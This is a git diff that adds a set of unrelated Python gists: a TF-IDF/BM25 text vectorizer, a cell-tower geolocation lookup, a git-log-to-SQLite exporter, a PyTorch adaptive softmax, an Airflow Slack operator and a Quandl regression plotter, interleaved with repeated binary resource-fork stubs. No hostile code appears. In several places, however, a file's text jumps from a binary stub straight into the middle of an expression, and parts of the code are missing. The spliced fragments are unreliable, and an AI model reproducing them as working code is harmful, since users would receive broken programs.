indptr.append(0) + for doc in raw_documents: + for feature in analyze(doc): + try: + j_indices.append(vocabulary[feature]) + except KeyError: + # Ignore out-of-vocabulary items for fixed_vocab=True + continue + indptr.append(len(j_indices)) + + if not fixed_vocab: + # disable defaultdict behaviour + vocabulary = dict(vocabulary) + if not vocabulary: + raise ValueError("empty vocabulary; perhaps the documents only" + " contain stop words") + + # some Python/Scipy versions won't accept an array.array: + if j_indices: + j_indices = np.frombuffer(j_indices, dtype=np.intc) + else: + j_indices = np.array([], dtype=np.int32) + indptr = np.frombuffer(indptr, dtype=np.intc) + values = np.ones(len(j_indices)) + + X = sp.csr_matrix((values, j_indices, indptr), + shape=(len(indptr) - 1, len(vocabulary)), + dtype=self.dtype) + X.sum_duplicates() + return vocabulary, X + + def fit(self, raw_documents, y=None): + """Learn a vocabulary dictionary of all tokens in the raw documents. + + Parameters + ---------- + raw_documents : iterable + An iterable which yields either str, unicode or file objects. + + Returns + ------- + self + """ + self.fit_transform(raw_documents) + return self + + def fit_transform(self, raw_documents, y=None): + """Learn the vocabulary dictionary and return term-document matrix. + + This is equivalent to fit followed by transform, but more efficiently + implemented. + + Parameters + ---------- + raw_documents : iterable + An iterable which yields either str, unicode or file objects. + + Returns + ------- + X : array, [n_samples, n_features] + Document-term matrix. + """ + # We intentionally don't call the transform method to make + # fit_transform overridable without unwanted side effects in + # TfidfVectorizer. + self._check_vocabulary() + max_df = self.max_df + min_df = self.min_df + max_features = self.max_features + + vocabulary, X = self._count_vocab(raw_documents, + self.fixed_vocabulary_) + + if self.binary: + X.data.fill(1) + + if not self.fixed_vocabulary_: + X = self._sort_features(X, vocabulary) + + n_doc = X.shape[0] + max_doc_count = (max_df + if isinstance(max_df, numbers.Integral) + else max_df * n_doc) + min_doc_count = (min_df + if isinstance(min_df, numbers.Integral) + else min_df * n_doc) + if max_doc_count < min_doc_count: + raise ValueError( + "max_df corresponds to < documents than min_df") + X, self.stop_words_ = self._limit_features(X, vocabulary, + max_doc_count, + min_doc_count, + max_features) + + self.vocabulary_ = vocabulary + + return X + + def transform(self, raw_documents): + """Transform documents to document-term matrix. + + Extract token counts out of raw text documents using the vocabulary + fitted with fit or the one provided to the constructor. + + Parameters + ---------- + raw_documents : iterable + An iterable which yields either str, unicode or file objects. + + Returns + ------- + X : sparse matrix, [n_samples, n_features] + Document-term matrix. + """ + if not hasattr(self, 'vocabulary_'): + self._check_vocabulary() + + if not hasattr(self, 'vocabulary_') or len(self.vocabulary_) == 0: + raise ValueError("Vocabulary wasn't fitted or is empty!") + + # use the same matrix-building strategy as fit_transform + _, X = self._count_vocab(raw_documents, fixed_vocab=True) + if self.binary: + X.data.fill(1) + return X + + def inverse_transform(self, X): + """Return terms per document with nonzero entries in X. + + Parameters + ---------- + X : {array, sparse matrix}, shape = [n_samples, n_features] + + Returns + ------- + X_inv : list of arrays, len = n_samples + List of arrays of terms. + """ + if sp.issparse(X): + # We need CSR format for fast row manipulations. + X = X.tocsr() + else: + # We need to convert X to a matrix, so that the indexing + # returns 2D objects + X = np.asmatrix(X) + n_samples = X.shape[0] + + terms = np.array(list(self.vocabulary_.keys())) + indices = np.array(list(self.vocabulary_.values())) + inverse_vocabulary = terms[np.argsort(indices)] + + return [inverse_vocabulary[X[i, :].nonzero()[1]].ravel() + for i in range(n_samples)] + + def get_feature_names(self): + """Array mapping from feature integer indices to feature name""" + if not hasattr(self, 'vocabulary_') or len(self.vocabulary_) == 0: + raise ValueError("Vocabulary wasn't fitted or is empty!") + + return [t for t, i in sorted(six.iteritems(self.vocabulary_), + key=itemgetter(1))] + + +def _make_int_array(): + """Construct an array.array of a type suitable for scipy.sparse indices.""" + return array.array(str("i")) + + +class TfidfTransformer(BaseEstimator, TransformerMixin): + """Transform a count matrix to a normalized tf or tf-idf representation + + Tf means term-frequency while tf-idf means term-frequency times inverse + document-frequency. This is a common term weighting scheme in information + retrieval, that has also found good use in document classification. + + The goal of using tf-idf instead of the raw frequencies of occurrence of a + token in a given document is to scale down the impact of tokens that occur + very frequently in a given corpus and that are hence empirically less + informative than features that occur in a small fraction of the training + corpus. + + The actual formula used for tf-idf is tf * (idf + 1) = tf + tf * idf, + instead of tf * idf. The effect of this is that terms with zero idf, i.e. + that occur in all documents of a training set, will not be entirely + ignored. The formulas used to compute tf and idf depend on parameter + settings that correspond to the SMART notation used in IR, as follows: + + Tf is "n" (natural) by default, "l" (logarithmic) when sublinear_tf=True. + Idf is "t" when use_idf is given, "n" (none) otherwise. + Normalization is "c" (cosine) when norm='l2', "n" (none) when norm=None. + + Parameters + ---------- + norm : 'l1', 'l2' or None, optional + Norm used to normalize term vectors. None for no normalization. + + use_idf : boolean, optional + Enable inverse-document-frequency reweighting. + + smooth_idf : boolean, optional + Smooth idf weights by adding one to document frequencies, as if an + extra document was seen containing every term in the collection + exactly once. Prevents zero divisions. + + sublinear_tf : boolean, optional + Apply sublinear tf scaling, i.e. replace tf with 1 + log(tf). + + References + ---------- + + .. [Yates2011] `R. Baeza-Yates and B. Ribeiro-Neto (2011). Modern + Information Retrieval. Addison Wesley, pp. 68-74.` + + .. [MRS2008] `C.D. Manning, P. Raghavan and H. Schuetze (2008). + Introduction to Information Retrieval. Cambridge University + Press, pp. 118-120.` + """ + + def __init__(self, norm='l2', use_idf=True, use_bm25idf=False, smooth_idf=True, + delta_idf=False, sublinear_tf=False, bm25_tf=False): + self.norm = norm + self.use_idf = use_idf + self.use_bm25idf = use_bm25idf + self.smooth_idf = smooth_idf + # Required for delta idf's + self.delta_idf = delta_idf + + self.sublinear_tf = sublinear_tf + self.bm25_tf = bm25_tf + self.k = 1.2 + self.b = 0.95 + + def fit(self, X, y=None): + """Learn the idf vector (global term weights) + + Parameters + ---------- + X : sparse matrix, [n_samples, n_features] + a matrix of term/token counts + """ + if not sp.issparse(X): + X = sp.csc_matrix(X) + + if self.use_idf: + n_samples, n_features = X.shape + + # BM25 idf + if self.use_bm25idf: + if self.delta_idf: + if y is None: + raise ValueError("Labels are needed to determine Delta idf") + + N1, df1, N2, df2 = _class_frequencies(X, y) + delta_bm25idf = np.log(((N1 - df1 + 0.5) * df2 + 0.5) / ((N2 - df2 + 0.5) * df1 + 0.5)) + self._idf_diag = sp.spdiags(delta_bm25idf, + diags=0, m=n_features, n=n_features) + else: + # vanilla bm25 idf + df = _document_frequency(X) + + # perform idf smoothing if required + df += int(self.smooth_idf) + n_samples += int(self.smooth_idf) + + # log1p instead of log makes sure terms with zero idf don't get + # suppressed entirely + + bm25idf = np.log((n_samples - df + 0.5) / (df + 0.5)) + self._idf_diag = sp.spdiags(bm25idf, + diags=0, m=n_features, n=n_features) + + # Vanilla idf + elif self.delta_idf: + if y is None: + raise ValueError("Labels are needed to determine Delta idf") + + N1, df1, N2, df2 = _class_frequencies(X, y) + delta_idf = np.log((df1 * float(N2) + int(self.smooth_idf)) / + (df2 * N1 + int(self.smooth_idf))) + + # Maybe scale delta_idf to only positive values (for Naive Bayes, etc) ? + self._idf_diag = sp.spdiags(delta_idf, + diags=0, m=n_features, n=n_features) + + else: + df = _document_frequency(X) + + # perform idf smoothing if required + df += int(self.smooth_idf) + n_samples += int(self.smooth_idf) + + # log1p instead of log makes sure terms with zero idf don't get + # suppressed entirely + idf = np.log(float(n_samples) / df) + 1.0 + self._idf_diag = sp.spdiags(idf, + diags=0, m=n_features, n=n_features) + + + return self + + def transform(self, X, copy=True): + """Transform a count matrix to a tf or tf-idf representation + + Parameters + ---------- + X : sparse matrix, [n_samples, n_features] + a matrix of term/token counts + + Returns + ------- + vectors : sparse matrix, [n_samples, n_features] + """ + if hasattr(X, 'dtype') and np.issubdtype(X.dtype, np.float): + # preserve float family dtype + X = sp.csr_matrix(X, copy=copy) + else: + # convert counts or binary occurrences to floats + X = sp.csr_matrix(X, dtype=np.float64, copy=copy) + + n_samples, n_features = X.shape + + if self.bm25_tf: + + # First calculate the denominator of BM25 equation + # Sum the frequencies (sum of each row) to get the documents lengths + D = (X.sum(1) / np.average(X.sum(1))).reshape((n_samples, 1)) + D = ((1 - self.b) + self.b * D) * self.k + # D = sp.csr_matrix(np.multiply(np.ones((n_samples,n_features)),D)) + D_X = _add_sparse_column(X,D) + + # Then perform the main division + # ...Find a better way to add a numpy ndarray to a sparse matrix + np.divide(X.data * (self.k + 1), D_X.data, X.data) + # np.divide(X.data * (self.k + 1), sp.csr_matrix(np.add(X.todense(), D)).data, X.data) + + elif self.sublinear_tf: + np.log(X.data, X.data) + X.data += 1 + + if self.use_idf: + if not hasattr(self, "_idf_diag"): + raise ValueError("idf vector not fitted") + expected_n_features = self._idf_diag.shape[0] + if n_features != expected_n_features: + raise ValueError("Input has n_features=%d while the model" + " has been trained with n_features=%d" % ( + n_features, expected_n_features)) + # *= doesn't work + X = X * self._idf_diag + + if self.norm: + X = normalize(X, norm=self.norm, copy=False) + + return X + + @property + def idf_(self): + if hasattr(self, "_idf_diag"): + return np.ravel(self._idf_diag.sum(axis=0)) + else: + return None + + +class TfidfVectorizer(CountVectorizer): + """Convert a collection of raw documents to a matrix of TF-IDF features. + + Equivalent to CountVectorizer followed by TfidfTransformer. + + Parameters + ---------- + input : string {'filename', 'file', 'content'} + If 'filename', the sequence passed as an argument to fit is + expected to be a list of filenames that need reading to fetch + the raw content to analyze. + + If 'file', the sequence items must have a 'read' method (file-like + object) that is called to fetch the bytes in memory. + + Otherwise the input is expected to be the sequence strings or + bytes items are expected to be analyzed directly. + + encoding : string, 'utf-8' by default. + If bytes or files are given to analyze, this encoding is used to + decode. + + decode_error : {'strict', 'ignore', 'replace'} + Instruction on what to do if a byte sequence is given to analyze that + contains characters not of the given `encoding`. By default, it is + 'strict', meaning that a UnicodeDecodeError will be raised. Other + values are 'ignore' and 'replace'. + + strip_accents : {'ascii', 'unicode', None} + Remove accents during the preprocessing step. + 'ascii' is a fast method that only works on characters that have + an direct ASCII mapping. + 'unicode' is a slightly slower method that works on any characters. + None (default) does nothing. + + analyzer : string, {'word', 'char'} or callable + Whether the feature should be made of word or character n-grams. + + If a callable is passed it is used to extract the sequence of features + out of the raw, unprocessed input. + + preprocessor : callable or None (default) + Override the preprocessing (string transformation) stage while + preserving the tokenizing and n-grams generation steps. + + tokenizer : callable or None (default) + Override the string tokenization step while preserving the + preprocessing and n-grams generation steps. + + ngram_range : tuple (min_n, max_n) + The lower and upper boundary of the range of n-values for different + n-grams to be extracted. All values of n such that min_n <= n <= max_n + will be used. + + stop_words : string {'english'}, list, or None (default) + If a string, it is passed to _check_stop_list and the appropriate stop + list is returned. 'english' is currently the only supported string + value. + + If a list, that list is assumed to contain stop words, all of which + will be removed from the resulting tokens. + + If None, no stop words will be used. max_df can be set to a value + in the range [0.7, 1.0) to automatically detect and filter stop + words based on intra corpus document frequency of terms. + + lowercase : boolean, default True + Convert all characters to lowercase before tokenizing. + + token_pattern : string + Regular expression denoting what constitutes a "token", only used + if `analyzer == 'word'`. The default regexp selects tokens of 2 + or more alphanumeric characters (punctuation is completely ignored + and always treated as a token separator). + + max_df : float in range [0.0, 1.0] or int, optional, 1.0 by default + When building the vocabulary ignore terms that have a term frequency + strictly higher than the given threshold (corpus specific stop words). + If float, the parameter represents a proportion of documents, integer + absolute counts. + This parameter is ignored if vocabulary is not None. + + min_df : float in range [0.0, 1.0] or int, optional, 1 by default + When building the vocabulary ignore terms that have a term frequency + strictly lower than the given threshold. + This value is also called cut-off in the literature. + If float, the parameter represents a proportion of documents, integer + absolute counts. + This parameter is ignored if vocabulary is not None. + + max_features : optional, None by default + If not None, build a vocabulary that only consider the top + max_features ordered by term frequency across the corpus. + + This parameter is ignored if vocabulary is not None. + + vocabulary : Mapping or iterable, optional + Either a Mapping (e.g., a dict) where keys are terms and values are + indices in the feature matrix, or an iterable over terms. If not + given, a vocabulary is determined from the input documents. + + binary : boolean, False by default. + If True, all non-zero term counts are set to 1. This does not mean + outputs will have only 0/1 values, only that the tf term in tf-idf + is binary. (Set idf and normalization to False to get 0/1 outputs.) + + dtype : type, optional + Type of the matrix returned by fit_transform() or transform(). + + norm : 'l1', 'l2' or None, optional + Norm used to normalize term vectors. None for no normalization. + + use_idf : boolean, optional + Enable inverse-document-frequency reweighting. + + smooth_idf : boolean, optional + Smooth idf weights by adding one to document frequencies, as if an + extra document was seen containing every term in the collection + exactly once. Prevents zero divisions. + + sublinear_tf : boolean, optional + Apply sublinear tf scaling, i.e. replace tf with 1 + log(tf). + + Attributes + ---------- + idf_ : array, shape = [n_features], or None + The learned idf vector (global term weights) + when ``use_idf`` is set to True, None otherwise. + + See also + -------- + CountVectorizer + Tokenize the documents and count the occurrences of token and return + them as a sparse matrix + + TfidfTransformer + Apply Term Frequency Inverse Document Frequency normalization to a + sparse matrix of occurrence counts. + + """ + + def __init__(self, input='content', encoding='utf-8', + decode_error='strict', strip_accents=None, lowercase=True, + preprocessor=None, tokenizer=None, analyzer='word', + stop_words=None, token_pattern=r"(?u)\b\w\w+\b", + ngram_range=(1, 1), max_df=1.0, min_df=1, + max_features=None, vocabulary=None, binary=False, + dtype=np.int64, norm='l2', use_idf=True, use_bm25idf = False, + smooth_idf=True, delta_idf=False, sublinear_tf=False, bm25_tf=False): + super(TfidfVectorizer, self).__init__( + input=input, encoding=encoding, decode_error=decode_error, + strip_accents=strip_accents, lowercase=lowercase, + preprocessor=preprocessor, tokenizer=tokenizer, analyzer=analyzer, + stop_words=stop_words, token_pattern=token_pattern, + ngram_range=ngram_range, max_df=max_df, min_df=min_df, + max_features=max_features, vocabulary=vocabulary, binary=binary, + dtype=dtype) + + self._tfidf = TfidfTransformer(norm=norm, use_idf=use_idf, + use_bm25idf=use_bm25idf, + smooth_idf=smooth_idf, + delta_idf=delta_idf, + sublinear_tf=sublinear_tf, + bm25_tf=bm25_tf) + + # Broadcast the TF-IDF parameters to the underlying transformer instance + # for easy grid search and repr + + @property + def norm(self): + return self._tfidf.norm + + @norm.setter + def norm(self, value): + self._tfidf.norm = value + + @property + def use_idf(self): + return self._tfidf.use_idf + + @use_idf.setter + def use_idf(self, value): + self._tfidf.use_idf = value + + @property + def smooth_idf(self): + return self._tfidf.smooth_idf + + @smooth_idf.setter + def smooth_idf(self, value): + self._tfidf.smooth_idf = value + + @property + def sublinear_tf(self): + return self._tfidf.sublinear_tf + + @sublinear_tf.setter + def sublinear_tf(self, value): + self._tfidf.sublinear_tf = value + + @property + def idf_(self): + return self._tfidf.idf_ + + def fit(self, raw_documents, y=None): + """Learn vocabulary and idf from training set. + + Parameters + ---------- + raw_documents : iterable + an iterable which yields either str, unicode or file objects + + Returns + ------- + self : TfidfVectorizer + """ + X = super(TfidfVectorizer, self).fit_transform(raw_documents) + self._tfidf.fit(X) + return self + + def fit_transform(self, raw_documents, y=None): + """Learn vocabulary and idf, return term-document matrix. + + This is equivalent to fit followed by transform, but more efficiently + implemented. + + Parameters + ---------- + raw_documents : iterable + an iterable which yields either str, unicode or file objects + + Returns + ------- + X : sparse matrix, [n_samples, n_features] + Tf-idf-weighted document-term matrix. + """ + X = super(TfidfVectorizer, self).fit_transform(raw_documents) + self._tfidf.fit(X,y) + # X is already a transformed view of raw_documents so + # we set copy to False + return self._tfidf.transform(X, copy=False) + + def transform(self, raw_documents, copy=True): + """Transform documents to document-term matrix. + + Uses the vocabulary and document frequencies (df) learned by fit (or + fit_transform). + + Parameters + ---------- + raw_documents : iterable + an iterable which yields either str, unicode or file objects + + Returns + ------- + X : sparse matrix, [n_samples, n_features] + Tf-idf-weighted document-term matrix. + """ + X = super(TfidfVectorizer, self).transform(raw_documents) + return self._tfidf.transform(X, copy=False) + diff --git a/hard-gists/0ba0270279a0f38280423754cea2ee1e/._snippet.py b/hard-gists/0ba0270279a0f38280423754cea2ee1e/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K> 24) & 0xFF) + chr((mnc >> 16) & 0xFF) + chr((mnc >> 8) & 0xFF) + chr(mnc & 0xFF) # MNC + pd += chr((mcc >> 24) & 0xFF) + chr((mcc >> 16) & 0xFF) + chr((mcc >> 8) & 0xFF) + chr(mcc & 0xFF) # MCC + pd += chr(0)+chr(0)+chr(0)+chr(0x03) # ?? + pd += chr(0)+chr(0) # ?? + pd += chr((cellid >> 24) & 0xFF) + chr((cellid >> 16) & 0xFF) + chr((cellid >> 8) & 0xFF) + chr(cellid & 0xFF) # CID - replace 0x00 with the hex value from CID + pd += chr((lac >> 24) & 0xFF) + chr((lac >> 16) & 0xFF) + chr((lac >> 8) & 0xFF) + chr(lac & 0xFF) # LAC - replace 0x00 with the hex value from LAC + pd += chr(0)+chr(0)+chr(0)+chr(0) # ?? + pd += chr(0)+chr(0)+chr(0)+chr(0) # ?? + pd += chr(0)+chr(0)+chr(0)+chr(0) # ?? + pd += chr(0)+chr(0)+chr(0)+chr(0) # ?? + + headers = {"Content-type": "application/binary"} + + + response = urlfetch.fetch("http://www.google.com/glm/mmap", + pd, + urlfetch.POST, + headers) + + data = response.content + if response.status_code != 200: + return False + + lat = unpack('>l',data[7:11])[0]/1000000.0 + lon = unpack('>l',data[11:15])[0]/1000000.0 + return [lat, lon] +# End Python 2.5 + diff --git a/hard-gists/0c7ccae5d764ff61788fc626096e5688/._snippet.py b/hard-gists/0c7ccae5d764ff61788fc626096e5688/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K]+)>", match.group(2)) + commit = { + "hash": match.group(1), + "date": match.group(3), + "message": match.group(4) + } + if author: + commit["author"] = author.group(1) + commit["email"] = author.group(2) + else: + commit["author"] = match.group(2) + commit["email"] = None + commits.append(commit) + return commits + + + +if __name__ == '__main__': + path = os.getcwd() + commits = log(path) + if not path.endswith("/"): + path = path + "/" + fname = "%sgit.sqlite" % (path) + if os.path.isfile(fname): + os.remove(fname) + con = sqlite3.connect(fname) + con.execute("CREATE TABLE commits (hash VARCHAR(40), author VARCHAR(256), email VARCHAR(256), " + + "message text, date VARCHAR(35))") + cur = con.cursor() + def commit(c): + return (c["hash"], c["author"], c["email"], c["message"], c["date"]) + cur.executemany("INSERT INTO commits VALUES(?, ?, ?, ?, ?)", map(commit, commits)) + con.commit() + con.close() diff --git a/hard-gists/0ca2272c015266e667924836364349c3/._snippet.py b/hard-gists/0ca2272c015266e667924836364349c3/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K 0: + self.id.append(Variable(mask.float().nonzero().squeeze(1))) + + else: + self.id.append(None) + + def forward(self, input): + output = [self.head(input)] + + for i in range(len(self.id)): + if self.id[i] is not None: + output.append(self.tail[i](input.index_select(0, self.id[i]))) + + else: + output.append(None) + + return output + + def log_prob(self, input): + lsm = nn.LogSoftmax().cuda() + + head_out = self.head(input) + + batch_size = head_out.size(0) + prob = torch.zeros(batch_size, self.cutoff[-1]).cuda() + + lsm_head = lsm(head_out) + prob.narrow(1, 0, self.output_size).add_(lsm_head.narrow(1, 0, self.output_size).data) + + for i in range(len(self.tail)): + pos = self.cutoff[i] + i_size = self.cutoff[i + 1] - pos + buffer = lsm_head.narrow(1, self.cutoff[0] + i, 1) + buffer = buffer.expand(batch_size, i_size) + lsm_tail = lsm(self.tail[i](input)) + prob.narrow(1, pos, i_size).copy_(buffer.data).add_(lsm_tail.data) + + return prob + +class AdaptiveLoss(nn.Module): + def __init__(self, cutoff): + super().__init__() + + self.cutoff = cutoff + self.criterions = nn.ModuleList() + + for i in self.cutoff: + self.criterions.append(nn.CrossEntropyLoss(size_average=False)) + + def remap_target(self, target): + new_target = [target.clone()] + + for i in range(len(self.cutoff) - 1): + mask = target.ge(self.cutoff[i]).mul(target.lt(self.cutoff[i + 1])) + new_target[0][mask] = self.cutoff[0] + i + + if mask.sum() > 0: + new_target.append(target[mask].add(-self.cutoff[i])) + + else: + new_target.append(None) + + return new_target + + def forward(self, input, target): + batch_size = input[0].size(0) + target = self.remap_target(target.data) + + output = 0.0 + + for i in range(len(input)): + if input[i] is not None: + assert(target[i].min() >= 0 and target[i].max() <= input[i].size(1)) + criterion = self.criterions[i] + output += criterion(input[i], Variable(target[i])) + + output /= batch_size + + return output \ No newline at end of file diff --git a/hard-gists/0cfe89a89b892e47e8418e281dfe318d/._snippet.py b/hard-gists/0cfe89a89b892e47e8418e281dfe318d/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K>> +C:/Users/Scott/Documents/Programming/json/test.txt +"I like to move it, groove it!" +''' + diff --git a/hard-gists/0d25683d9c8fce27edd3/._snippet.py b/hard-gists/0d25683d9c8fce27edd3/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K'.format(**locals())) + result = super(PythonSlackOperator, self).execute(context, *args, **kwargs) + self._post_slack_message(':poultry_leg:{dag_run_external_trigger} Finished task (dag=*{task_instance.dag_id}* task=*{task_instance.task_id}* dagid=*{dag_run_id}*) <{log_url}|logs>'.format(**locals())) + + +class PythonSlackAPlugin(AirflowPlugin): + name = 'dp_python_slack' + operators = [PythonSlackOperator] + flask_blueprints = [] + hooks = [] + executors = [] + admin_views = [] + menu_links = [] diff --git a/hard-gists/0d5a709bbb4186d1f45f2af14c65b110/._snippet.py b/hard-gists/0d5a709bbb4186d1f45f2af14c65b110/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K1 this is a curve + * confidence:boolean - specifies whether confidence lines should be calculated and plotted + """ + exponent = 1 + confidence = False + + def __init__(self, exponent=1, confidence=False): + """ + This initialization method constructs a new StatsModelSettings object + """ + self.exponent = exponent + self.confidence = confidence + pass + + +class QuandlSettings(): + """ + This class contains settings for the quandl integration package, settings include, + * rows:int - specifies the amount of historical data to extract in [frequency] + * column:int - specifies the column in the data-set to use for the regression analysis + * frequency:String - select between ("daily"|weekly"|"monthly"|"quarterly"|"annual") + * transformation:String - select the numerical transformation ("diff"|"rdiff"|"normalize"|"cumul") + * order:String - select order of data between ("asc"|"desc") + """ + rows = 0 + column = 1 + frequency = "weekly" + transformation = "normalize" + order = "desc" + + def __init__(self, rows, column, frequency="weekly", transformation="normalize", order="desc"): + """ + This initialization method constructs a new QuandlSettings object + """ + self.rows = rows + self.column = column + self.frequency = frequency + self.transformation = transformation + self.order = order + pass + + +class RegressionAnalysis(): + """ + This class contain the logic for calculating the regression analysis given a Quandl data-set name, a QuandlSettings + object, and a StatsModelsSettings object. The resulting regression analysis is returned. + """ + color = 'r' + dates = [] + prices = [] + data_set = "" + regression = None + upper = None + lower = None + + def __init__(self, quandl_data_set_name, quandl_settings, statsmodels_settings, color='r'): + """ + This initialization method constructs a new RegressionAnalysis object + """ + self.color = color + self.data_set = quandl_data_set_name + self.dates, self.prices = self.get_quandl_data(self.data_set, quandl_settings) + + # Only calculate and return confidence lines if setting = True + if statsmodels_settings.confidence: + self.regression, self.lower, self.upper = self.run_ordinary_least_squares(self.dates, self.prices, + statsmodels_settings) + else: + self.regression = self.run_ordinary_least_squares(self.dates, self.prices, statsmodels_settings) + pass + + @staticmethod + def get_quandl_data(quandl_data_set_name, quandl_settings): + """ + This method retrieves the quandl data set given the settings specified in the quandl_settings object. For more + information about these settings see documentation from the QuandlSettings class + """ + quandl_data_set = get(quandl_data_set_name, rows=quandl_settings.rows, returns="numpy", + transformation=quandl_settings.transformation, + sort_order=quandl_settings.order, collapse=quandl_settings.frequency) + print(quandl_data_set) + quandl_dates = np.arange(1, quandl_settings.rows + 1, 1) + quandl_prices = [] + + # TODO: find a better way to extract some column, X, from numpy matrix of tuples (w, x, y, z) + for i in range(quandl_data_set.size): + quandl_prices.append(quandl_data_set[quandl_settings.rows - (i + 1)][quandl_settings.column] / 100) + return quandl_dates, quandl_prices + + @staticmethod + def run_ordinary_least_squares(ols_dates, ols_data, statsmodels_settings): + """ + This method receives the dates and prices of a Quandl data-set as well as settings for the StatsModels package, + it then calculates the regression lines and / or the confidence lines are returns the objects + """ + intercept = np.column_stack((ols_dates, ols_dates ** statsmodels_settings.exponent)) + constant = sm.add_constant(intercept) + statsmodel_regression = sm.OLS(ols_data, constant).fit() + print(statsmodel_regression.summary()) + if statsmodels_settings.confidence: + prstd, lower, upper = wls_prediction_std(statsmodel_regression) + return statsmodel_regression, lower, upper + else: + return statsmodel_regression + + +def plot_regression_line(regression_analyses): + """ + This global method is a front-end to the MatplotLib library which receives a set of regression analyses and plots + each one of them onto the canvas. + """ + title = "" + fig, ax = plot.subplots() + # Plot each regression analysis in the set + for regression_i in regression_analyses: + ax.plot(regression_i.dates, regression_i.prices, regression_i.color, label="Values " + regression_i.data_set) + ax.plot(regression_i.dates, regression_i.regression.fittedvalues, regression_i.color + '.', + label="Regression line " + regression_i.data_set) + if regression_i.lower is not None: + ax.plot(regression_i.dates, regression_i.lower, regression_i.color + '--') + if regression_i.upper is not None: + ax.plot(regression_i.dates, regression_i.upper, regression_i.color + '--') + plot.xlabel('Time') + plot.ylabel('Normalized Values') + title += regression_i.data_set + ", " + + plot.title('Regression Analysis of ' + title) + ax.legend(loc='best') + plot.grid(True) + plot.show() + + +def investing_example(): + """ + This method creates a set of regression analyses based on fundamental trading (revenues) + """ + # b: blue, g: green, r: red, c: cyan, m: magenta, y: yellow, k: black, w: white + statsmodels_args_inv = StatsModelsSettings(2, False) + quandl_args_inv = QuandlSettings(5, 1, "yearly") + + regressions_inv = [RegressionAnalysis("DMDRN/GOOG_REV_LAST", quandl_args_inv, statsmodels_args_inv, 'b'), + RegressionAnalysis("DMDRN/YHOO_REV_LAST", quandl_args_inv, statsmodels_args_inv, 'g'), + RegressionAnalysis("DMDRN/AAPL_REV_LAST", quandl_args_inv, statsmodels_args_inv, 'k')] + plot_regression_line(regressions_inv) + + +def trading_example(): + """ + This method creates a set of regression analyses based on technical trading details (price) + """ + # b: blue, g: green, r: red, c: cyan, m: magenta, y: yellow, k: black, w: white + statsmodels_args_trade = StatsModelsSettings(1, True) + quandl_args_trade = QuandlSettings(350, 4, "weekly") + + regressions_trade = [RegressionAnalysis("GOOG/NASDAQ_GOOG", quandl_args_trade, statsmodels_args_trade, 'b'), + RegressionAnalysis("GOOG/NASDAQ_YHOO", quandl_args_trade, statsmodels_args_trade, 'g')] + plot_regression_line(regressions_trade) + + +def economics_example(): + """ + This method creates a set of regression analyses based on economics GDP's of the BRICS nations, + """ + # b: blue, g: green, r: red, c: cyan, m: magenta, y: yellow, k: black, w: white + statsmodels_args = StatsModelsSettings(1, False) + quandl_args_prices = QuandlSettings(15, 1, "yearly") + + # South Africa, China, Brazil, India, Russia + regressions = [RegressionAnalysis("WORLDBANK/ZAF_NY_GDP_MKTP_KN", quandl_args_prices, statsmodels_args, 'b'), + RegressionAnalysis("WORLDBANK/CHN_NY_GDP_MKTP_KN", quandl_args_prices, statsmodels_args, 'g'), + RegressionAnalysis("WORLDBANK/BRA_NY_GDP_MKTP_KN", quandl_args_prices, statsmodels_args, 'k'), + RegressionAnalysis("WORLDBANK/IND_NY_GDP_MKTP_KN", quandl_args_prices, statsmodels_args, 'm'), + RegressionAnalysis("WORLDBANK/RUS_NY_GDP_MKTP_KN", quandl_args_prices, statsmodels_args, 'c')] + plot_regression_line(regressions) + + +if __name__ == "__main__": + # This main method run the regression analysis program + trading_example() \ No newline at end of file diff --git a/hard-gists/0d9f91f789f0c523b0e7/._snippet.py b/hard-gists/0d9f91f789f0c523b0e7/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 